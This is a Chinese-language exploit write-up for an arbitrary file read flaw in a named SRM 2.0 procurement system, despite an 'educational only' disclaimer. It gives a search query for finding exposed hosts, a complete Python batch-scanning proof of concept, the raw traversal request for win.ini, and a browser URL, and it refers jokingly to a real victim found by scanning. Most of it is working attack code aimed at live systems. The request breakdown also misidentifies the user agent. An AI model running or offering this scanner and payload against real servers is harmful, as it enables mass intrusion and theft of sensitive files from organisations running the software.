声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。
一、漏洞描述
某联云采 SRM2.0 是一款专门为企业供应链管理设计的采购管理系统。它具备采购流程自动化、供应商管理优化、合同审批控制以及采购数据分析等功能,旨在帮助企业实现采购环节的数字化管理,提升采购效率和透明度,从而支持企业的供应链运营。然而,该系统的接口download存在一个安全漏洞,即任意文件读取漏洞,攻击者可能利用此漏洞获取系统的敏感信息。
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索:web.body="智互联官网"
2.使用poc批量扫描
import urllib.request
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
import re
# 禁用SSL证书验证,允许不安全的请求
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
"""
读取文件中的URL列表
:param file_path: 文件路径
:return: URL列表
"""
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def check(url):
"""
检查目标URL是否存在任意文件读取漏洞
:param url: 目标URL
:return: 如果存在漏洞,返回True
"""
url = url.rstrip("/")
try:
# 构造恶意请求URL,尝试读取系统敏感文件win.ini
target = url + "/adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=c:\\windows\\win.ini"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
}
# 发送GET请求
response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
res = urllib.request.urlopen(response)
status_code = res.getcode()
content = res.read().decode()
# 判断响应状态码和内容是否包含特定字符串,以判断是否存在漏洞
if status_code == 200 and 'extensions' in content and 'fonts' in content:
print(f"\033[31mDiscovered:{url}: ZLYCSRM2_ArbiraryFileRead\033[0m")
return True
except Exception as e:
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
check(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")
cmd运行poc脚本:python poc.py -f host.txt
随机寻找的幸运儿
三、漏洞复现
1.构造数据包
1.构造数据包:
GET /adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=c:\\windows\win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2.数据包分析
这是一个HTTP GET请求的数据包,用于从服务器下载一个名为
win.ini
的文件。数据包的详细信息如下:
请求行(Request Line):
GET
:表示这是一个GET请求,用于从服务器获取资源。/adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=c:\\windows\win.ini
:这是请求的资源路径。%2e%2e
是URL编码中的两个点(..
),表示返回上一级目录。/a/sys/runtimeLog/download?path=c:\\windows\win.ini
表示请求下载位于c:\windows\
目录下的win.ini
文件。HTTP/1.1
:表示使用的HTTP协议版本是1.1。请求头(Request Headers):
Host: x.x.x.x
:指定请求的目标服务器地址,其中x.x.x.x
是服务器的IP地址或域名。User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
:表示客户端使用的浏览器信息,这里是Mozilla Firefox浏览器的一个版本。Connection: close
:表示在完成当前请求后,关闭连接。
3.结束跑路
1.构造数据包访问
2.通过游览器:ip/adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=c:\\windows\win.ini,直接下载win.ini文件
每篇一言:爱你所爱,行你所行,听从你心,无问西东。